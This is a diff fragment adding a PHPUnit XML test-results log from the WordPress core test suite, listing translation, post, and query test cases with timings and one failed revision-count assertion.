+      <testcase name="test_mo_plural" class="Tests_POMO_MO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/mo.php" line="14" assertions="14" time="0.003937"/>
+      <testcase name="test_mo_context" class="Tests_POMO_MO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/mo.php" line="41" assertions="5" time="0.005170"/>
+      <testcase name="test_translations_merge" class="Tests_POMO_MO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/mo.php" line="55" assertions="2" time="0.002512"/>
+      <testcase name="test_export_mo_file" class="Tests_POMO_MO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/mo.php" line="67" assertions="6" time="0.008000"/>
+      <testcase name="test_export_should_not_include_empty_translations" class="Tests_POMO_MO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/mo.php" line="100" assertions="1" time="0.003059"/>
+      <testcase name="test_nplurals_with_backslashn" class="Tests_POMO_MO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/mo.php" line="114" assertions="3" time="0.002910"/>
+      <testcase name="test_overloaded_mb_functions" class="Tests_POMO_MO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/mo.php" line="129" assertions="0" time="0.002014"/>
+      <testcase name="test_load_pot_file" class="Tests_POMO_MO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/mo.php" line="139" assertions="1" time="0.002394"/>
+    </testsuite>
+    <testsuite name="Tests_POMO_NOOPTranslations" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/noopTranslations.php" fullPackage="Tests.POMO" tests="6" assertions="8" failures="0" errors="0" time="0.011717">
+      <testcase name="test_get_header" class="Tests_POMO_NOOPTranslations" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/noopTranslations.php" line="11" assertions="1" time="0.002458"/>
+      <testcase name="test_add_entry" class="Tests_POMO_NOOPTranslations" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/noopTranslations.php" line="15" assertions="1" time="0.002283"/>
+      <testcase name="test_set_header" class="Tests_POMO_NOOPTranslations" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/noopTranslations.php" line="20" assertions="1" time="0.001680"/>
+      <testcase name="test_translate_entry" class="Tests_POMO_NOOPTranslations" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/noopTranslations.php" line="25" assertions="1" time="0.001749"/>
+      <testcase name="test_translate" class="Tests_POMO_NOOPTranslations" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/noopTranslations.php" line="30" assertions="1" time="0.001511"/>
+      <testcase name="test_plural" class="Tests_POMO_NOOPTranslations" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/noopTranslations.php" line="35" assertions="3" time="0.002036"/>
+    </testsuite>
+    <testsuite name="Tests_POMO_PO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/po.php" fullPackage="Tests.POMO" tests="11" assertions="43" failures="0" errors="0" time="0.023025">
+      <testcase name="test_prepend_each_line" class="Tests_POMO_PO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/po.php" line="39" assertions="3" time="0.001946"/>
+      <testcase name="test_poify" class="Tests_POMO_PO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/po.php" line="45" assertions="7" time="0.000892"/>
+      <testcase name="test_unpoify" class="Tests_POMO_PO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/po.php" line="63" assertions="6" time="0.001927"/>
+      <testcase name="test_export_entry" class="Tests_POMO_PO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/po.php" line="73" assertions="10" time="0.002208"/>
+      <testcase name="test_export_entries" class="Tests_POMO_PO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/po.php" line="128" assertions="1" time="0.000552"/>
+      <testcase name="test_export_headers" class="Tests_POMO_PO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/po.php" line="137" assertions="1" time="0.000548"/>
+      <testcase name="test_export" class="Tests_POMO_PO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/po.php" line="144" assertions="2" time="0.000724"/>
+      <testcase name="test_export_to_file" class="Tests_POMO_PO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/po.php" line="157" assertions="2" time="0.001418"/>
+      <testcase name="test_import_from_file" class="Tests_POMO_PO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/po.php" line="175" assertions="8" time="0.010619"/>
+      <testcase name="test_import_from_entry_file_should_give_false" class="Tests_POMO_PO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/po.php" line="205" assertions="1" time="0.000670"/>
+      <testcase name="test_import_from_file_with_windows_line_endings_should_work_as_with_unix_line_endings" class="Tests_POMO_PO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/po.php" line="210" assertions="2" time="0.001521"/>
+    </testsuite>
+    <testsuite name="Tests_POMO_TranslationEntry" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/translationEntry.php" fullPackage="Tests.POMO" tests="2" assertions="13" failures="0" errors="0" time="0.005440">
+      <testcase name="test_create_entry" class="Tests_POMO_TranslationEntry" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/translationEntry.php" line="5" assertions="9" time="0.002804"/>
+      <testcase name="test_key" class="Tests_POMO_TranslationEntry" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/translationEntry.php" line="27" assertions="4" time="0.002636"/>
+    </testsuite>
+    <testsuite name="Tests_POMO_Translations" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/translations.php" fullPackage="Tests.POMO" tests="4" assertions="22" failures="0" errors="0" time="0.010787">
+      <testcase name="test_add_entry" class="Tests_POMO_Translations" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/translations.php" line="4" assertions="6" time="0.002900"/>
+      <testcase name="test_translate" class="Tests_POMO_Translations" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/translations.php" line="29" assertions="4" time="0.002496"/>
+      <testcase name="test_translate_plural" class="Tests_POMO_Translations" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/translations.php" line="41" assertions="10" time="0.002857"/>
+      <testcase name="test_digit_and_merge" class="Tests_POMO_Translations" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/translations.php" line="63" assertions="2" time="0.002535"/>
+    </testsuite>
+    <testsuite name="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" fullPackage="Tests" tests="27" assertions="168" failures="0" errors="0" time="2.224405">
+      <testcase name="test_vb_insert_get_delete" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="36" assertions="29" time="0.164204"/>
+      <testcase name="test_vb_insert_future" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="91" assertions="8" time="0.065713"/>
+      <testcase name="test_vb_insert_future_over_dst" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="123" assertions="6" time="0.083167"/>
+      <testcase name="test_vb_insert_future_edit_bug" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="166" assertions="6" time="0.085206"/>
+      <testcase name="test_vb_insert_future_draft" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="208" assertions="8" time="0.058258"/>
+      <testcase name="test_vb_insert_future_change_to_draft" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="241" assertions="6" time="0.081764"/>
+      <testcase name="test_vb_insert_future_change_status" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="279" assertions="36" time="0.287740"/>
+      <testcase name="test_vb_insert_future_private" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="321" assertions="8" time="0.054629"/>
+      <testcase name="test_vb_insert_invalid_date" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="356" assertions="3" time="0.046655"/>
+      <testcase name="test_vb_insert_future_change_to_private" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="376" assertions="6" time="0.085640"/>
+      <testcase name="test_delete_future_post_cron" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="417" assertions="2" time="0.083091"/>
+      <testcase name="test_wp_unique_post_slug_with_non_latin_slugs" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="473" assertions="2" time="0.118295"/>
+      <testcase name="test_get_page_by_path_priority" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="504" assertions="4" time="0.070404"/>
+      <testcase name="test_wp_publish_post" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="519" assertions="2" time="0.058998"/>
+      <testcase name="test_wp_insert_post_and_wp_publish_post_with_future_date" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="534" assertions="4" time="0.064603"/>
+      <testcase name="test_publish_post_with_content_filtering" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="555" assertions="3" time="0.083070"/>
+      <testcase name="test_wp_publish_post_and_avoid_content_filtering" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="575" assertions="3" time="0.064625"/>
+      <testcase name="test_get_page_uri_with_stdclass_post_object" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="595" assertions="1" time="0.059882"/>
+      <testcase name="test_get_post_ancestors_within_loop" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="609" assertions="1" time="0.076484"/>
+      <testcase name="test_update_invalid_post_id" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="619" assertions="4" time="0.079748"/>
+      <testcase name="test_parse_post_content_single_page" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="633" assertions="4" time="0.062390"/>
+      <testcase name="test_parse_post_content_multi_page" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="644" assertions="4" time="0.059195"/>
+      <testcase name="test_parse_post_content_remaining_single_page" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="655" assertions="4" time="0.061262"/>
+      <testcase name="test_parse_post_content_remaining_multi_page" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="666" assertions="4" time="0.058886"/>
+      <testcase name="test_parse_post_content_starting_with_nextpage" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="680" assertions="4" time="0.058035"/>
+      <testcase name="test_parse_post_content_starting_with_nextpage_multi" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="694" assertions="4" time="0.056459"/>
+      <testcase name="test_wp_count_posts" class="Tests_Post" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post.php" line="789" assertions="2" time="0.096002"/>
+    </testsuite>
+    <testsuite name="Tests_Post_Attachments" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/attachments.php" fullPackage="Tests.Post" tests="5" assertions="48" failures="0" errors="0" time="0.652743">
+      <testcase name="test_insert_bogus_image" class="Tests_Post_Attachments" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/attachments.php" line="47" assertions="1" time="0.014737"/>
+      <testcase name="test_insert_image_no_thumb" class="Tests_Post_Attachments" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/attachments.php" line="57" assertions="9" time="0.022691"/>
+      <testcase name="test_insert_image_thumb_only" class="Tests_Post_Attachments" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/attachments.php" line="85" assertions="14" time="0.062532"/>
+      <testcase name="test_insert_image_medium" class="Tests_Post_Attachments" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/attachments.php" line="131" assertions="15" time="0.262838"/>
+      <testcase name="test_insert_image_delete" class="Tests_Post_Attachments" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/attachments.php" line="177" assertions="9" time="0.289945"/>
+    </testsuite>
+    <testsuite name="Tests_Post_Filtering" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/filtering.php" fullPackage="Tests.Post" tests="5" assertions="5" failures="0" errors="0" time="0.102957">
+      <testcase name="test_post_content_unknown_tag" class="Tests_Post_Filtering" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/filtering.php" line="24" assertions="1" time="0.023371"/>
+      <testcase name="test_post_content_unbalanced_tag" class="Tests_Post_Filtering" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/filtering.php" line="41" assertions="1" time="0.022572"/>
+      <testcase name="test_post_content_disallowed_attr" class="Tests_Post_Filtering" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/filtering.php" line="58" assertions="1" time="0.018576"/>
+      <testcase name="test_post_content_xhtml_empty_elem" class="Tests_Post_Filtering" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/filtering.php" line="78" assertions="1" time="0.021091"/>
+      <testcase name="test_post_content_nobalance_nextpage_more" class="Tests_Post_Filtering" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/filtering.php" line="194" assertions="1" time="0.017347"/>
+    </testsuite>
+    <testsuite name="Tests_Post_Formats" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/formats.php" fullPackage="Tests.Post" tests="4" assertions="47" failures="0" errors="0" time="0.237333">
+      <testcase name="test_set_get_post_format_for_post" class="Tests_Post_Formats" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/formats.php" line="11" assertions="11" time="0.036122"/>
+      <testcase name="test_set_get_post_format_for_page" class="Tests_Post_Formats" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/formats.php" line="39" assertions="12" time="0.030829"/>
+      <testcase name="test_has_format" class="Tests_Post_Formats" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/formats.php" line="71" assertions="12" time="0.044495"/>
+      <testcase name="test_get_url_in_content" class="Tests_Post_Formats" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/formats.php" line="100" assertions="12" time="0.125887"/>
+    </testsuite>
+    <testsuite name="Tests_Post_Gallery" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/gallery.php" fullPackage="Tests.Post" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Post_getPages" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/getPages.php" fullPackage="Tests.Post" tests="3" assertions="116" failures="0" errors="0" time="0.244029">
+      <testcase name="test_get_pages_cache" class="Tests_Post_getPages" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/getPages.php" line="15" assertions="112" time="0.165081"/>
+      <testcase name="test_get_pages_meta" class="Tests_Post_getPages" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/getPages.php" line="99" assertions="3" time="0.033099"/>
+      <testcase name="test_wp_dropdown_pages" class="Tests_Post_getPages" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/getPages.php" line="113" assertions="1" time="0.045849"/>
+    </testsuite>
+    <testsuite name="Tests_Post_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/meta.php" fullPackage="Tests.Post" tests="9" assertions="73" failures="0" errors="0" time="0.778409">
+      <testcase name="test_unique_postmeta" class="Tests_Post_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/meta.php" line="41" assertions="8" time="0.083951"/>
+      <testcase name="test_nonunique_postmeta" class="Tests_Post_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/meta.php" line="64" assertions="12" time="0.077117"/>
+      <testcase name="test_update_post_meta" class="Tests_Post_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/meta.php" line="101" assertions="14" time="0.080812"/>
+      <testcase name="test_delete_post_meta" class="Tests_Post_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/meta.php" line="128" assertions="6" time="0.074642"/>
+      <testcase name="test_delete_post_meta_by_key" class="Tests_Post_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/meta.php" line="146" assertions="7" time="0.072222"/>
+      <testcase name="test_get_post_meta_by_id" class="Tests_Post_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/meta.php" line="163" assertions="4" time="0.076725"/>
+      <testcase name="test_delete_meta" class="Tests_Post_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/meta.php" line="183" assertions="4" time="0.128063"/>
+      <testcase name="test_update_meta" class="Tests_Post_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/meta.php" line="193" assertions="16" time="0.093466"/>
+      <testcase name="test_funky_post_meta" class="Tests_Post_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/meta.php" line="228" assertions="2" time="0.091411"/>
+    </testsuite>
+    <testsuite name="Tests_Post_Objects" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/objects.php" fullPackage="Tests.Post" tests="10" assertions="84" failures="0" errors="0" time="0.363150">
+      <testcase name="test_get_post" class="Tests_Post_Objects" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/objects.php" line="8" assertions="26" time="0.023858"/>
+      <testcase name="test_get_post_ancestors" class="Tests_Post_Objects" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/objects.php" line="69" assertions="11" time="0.112776"/>
+      <testcase name="test_get_post_ancestors_with_falsey_values" class="Tests_Post_Objects" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/objects.php" line="94" assertions="10" time="0.003729"/>
+      <testcase name="test_get_post_category_property" class="Tests_Post_Objects" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/objects.php" line="101" assertions="7" time="0.047217"/>
+      <testcase name="test_get_tags_input_property" class="Tests_Post_Objects" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/objects.php" line="120" assertions="8" time="0.047528"/>
+      <testcase name="test_get_page_template_property" class="Tests_Post_Objects" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/objects.php" line="137" assertions="6" time="0.044438"/>
+      <testcase name="test_get_post_filter" class="Tests_Post_Objects" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/objects.php" line="157" assertions="8" time="0.022139"/>
+      <testcase name="test_get_post_identity" class="Tests_Post_Objects" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/objects.php" line="180" assertions="2" time="0.022707"/>
+      <testcase name="test_get_post_array" class="Tests_Post_Objects" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/objects.php" line="189" assertions="3" time="0.020438"/>
+      <testcase name="test_get_post_cache" class="Tests_Post_Objects" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/objects.php" line="202" assertions="3" time="0.018320"/>
+    </testsuite>
+    <testsuite name="Tests_Post_Output" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/output.php" fullPackage="Tests.Post" tests="5" assertions="20" failures="0" errors="0" time="0.139756">
+      <testcase name="test_the_content" class="Tests_Post_Output" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/output.php" line="37" assertions="4" time="0.025052"/>
+      <testcase name="test_the_content_shortcode" class="Tests_Post_Output" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/output.php" line="60" assertions="4" time="0.028851"/>
+      <testcase name="test_the_content_shortcode_paragraph" class="Tests_Post_Output" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/output.php" line="88" assertions="4" time="0.027843"/>
+      <testcase name="test_the_content_attribute_filtering" class="Tests_Post_Output" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/output.php" line="126" assertions="4" time="0.030118"/>
+      <testcase name="test_the_content_attribute_value_with_colon" class="Tests_Post_Output" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/output.php" line="150" assertions="4" time="0.027892"/>
+    </testsuite>
+    <testsuite name="Tests_Post_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/query.php" fullPackage="Tests.Post" tests="10" assertions="139" failures="0" errors="0" time="1.120073">
+      <testcase name="test_meta_key_or_query" class="Tests_Post_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/query.php" line="11" assertions="11" time="0.098050"/>
+      <testcase name="test_meta_key_and_query" class="Tests_Post_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/query.php" line="56" assertions="13" time="0.124183"/>
+      <testcase name="test_meta_key_not_exists" class="Tests_Post_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/query.php" line="133" assertions="11" time="0.088251"/>
+      <testcase name="test_taxonomy_empty_or" class="Tests_Post_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/query.php" line="205" assertions="1" time="0.162275"/>
+      <testcase name="test_meta_between_not_between" class="Tests_Post_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/query.php" line="233" assertions="16" time="0.072346"/>
+      <testcase name="test_meta_default_compare" class="Tests_Post_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/query.php" line="281" assertions="10" time="0.073028"/>
+      <testcase name="test_duplicate_posts_when_no_key" class="Tests_Post_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/query.php" line="321" assertions="7" time="0.056566"/>
+      <testcase name="test_empty_meta_value" class="Tests_Post_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/query.php" line="352" assertions="44" time="0.133631"/>
+      <testcase name="test_taxonomy_include_children" class="Tests_Post_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/query.php" line="413" assertions="6" time="0.123536"/>
+      <testcase name="test_the_posts_filter" class="Tests_Post_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/query.php" line="503" assertions="20" time="0.188207"/>
+    </testsuite>
+    <testsuite name="Tests_Post_Revisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/revisions.php" fullPackage="Tests.Post" tests="10" assertions="48" failures="1" errors="0" time="1.470255">
+      <testcase name="test_revision_restore_updates_edit_last_post_meta" class="Tests_Post_Revisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/revisions.php" line="24" assertions="4" time="0.239652"/>
+      <testcase name="test_revision_dont_save_revision_if_unchanged" class="Tests_Post_Revisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/revisions.php" line="62" assertions="5" time="0.132607">
+        <failure type="PHPUnit_Framework_ExpectationFailedException">Tests_Post_Revisions::test_revision_dont_save_revision_if_unchanged
+Failed asserting that actual size 4 matches expected size 3.
+
+/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/revisions.php:83
+</failure>
+      </testcase>
+      <testcase name="test_revision_force_save_revision_even_if_unchanged" class="Tests_Post_Revisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/revisions.php" line="98" assertions="7" time="0.206708"/>
+      <testcase name="test_revision_view_caps_post" class="Tests_Post_Revisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/revisions.php" line="136" assertions="4" time="0.129545"/>
+      <testcase name="test_revision_restore_caps_post" class="Tests_Post_Revisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/revisions.php" line="161" assertions="3" time="0.121665"/>
+      <testcase name="test_revision_diff_caps_post" class="Tests_Post_Revisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/revisions.php" line="184" assertions="5" time="0.160358"/>
+      <testcase name="test_revision_view_caps_cpt" class="Tests_Post_Revisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/revisions.php" line="209" assertions="4" time="0.128437"/>
+      <testcase name="test_revision_restore_caps_cpt" class="Tests_Post_Revisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/revisions.php" line="240" assertions="3" time="0.128249"/>
+      <testcase name="test_revision_restore_caps_before_publish" class="Tests_Post_Revisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/revisions.php" line="275" assertions="8" time="0.088484"/>
+      <testcase name="test_revision_diff_caps_cpt" class="Tests_Post_Revisions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/revisions.php" line="315" assertions="5" time="0.134550"/>
+    </testsuite>
+    <testsuite name="Tests_Post_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/slashes.php" fullPackage="Tests.Post" tests="3" assertions="18" failures="0" errors="0" time="0.320228">
+      <testcase name="test_edit_post" class="Tests_Post_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/slashes.php" line="35" assertions="6" time="0.122978"/>
+      <testcase name="test_wp_insert_post" class="Tests_Post_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/slashes.php" line="71" assertions="6" time="0.082045"/>
+      <testcase name="test_wp_update_post" class="Tests_Post_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/slashes.php" line="104" assertions="6" time="0.115205"/>
+    </testsuite>
+    <testsuite name="Tests_Post_Types" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/types.php" fullPackage="Tests.Post" tests="6" assertions="23" failures="0" errors="0" time="0.028766">
+      <testcase name="test_register_post_type" class="Tests_Post_Types" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/types.php" line="7" assertions="5" time="0.003974"/>
+      <testcase name="test_register_taxonomy_for_object_type" class="Tests_Post_Types" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/types.php" line="22" assertions="6" time="0.005101"/>
+      <testcase name="test_post_type_exists" class="Tests_Post_Types" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/types.php" line="44" assertions="2" time="0.002968"/>
+      <testcase name="test_post_type_supports" class="Tests_Post_Types" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/types.php" line="49" assertions="5" time="0.001668"/>
+      <testcase name="test_post_type_with_no_support" class="Tests_Post_Types" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/types.php" line="60" assertions="4" time="0.005937"/>
+      <testcase name="test_post_type_with_no_feed" class="Tests_Post_Types" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/post/types.php" line="75" assertions="1" time="0.009118"/>
+    </testsuite>
+    <testsuite name="Tests_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query.php" fullPackage="Tests" tests="4" assertions="22" failures="0" errors="0" time="0.152053">
+      <testcase name="test_nextpage_at_start_of_content" class="Tests_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query.php" line="8" assertions="4" time="0.019931"/>
+      <testcase name="test_setup_postdata_single_page" class="Tests_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query.php" line="18" assertions="4" time="0.017420"/>
+      <testcase name="test_setup_postdata_multi_page" class="Tests_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query.php" line="28" assertions="4" time="0.019188"/>
+      <testcase name="test_setup_postdata_loop" class="Tests_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query.php" line="44" assertions="10" time="0.095514"/>
+    </testsuite>
+    <testsuite name="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" fullPackage="Tests.Query" tests="47" assertions="164" failures="0" errors="0" time="4.159910">
+      <testcase name="test_home" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="79" assertions="1" time="0.025031"/>
+      <testcase name="test_404" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="84" assertions="1" time="0.026252"/>
+      <testcase name="test_permalink" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="89" assertions="1" time="0.041544"/>
+      <testcase name="test_post_comments_feed" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="95" assertions="1" time="0.047220"/>
+      <testcase name="test_post_comments_feed_with_no_comments" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="103" assertions="1" time="0.043556"/>
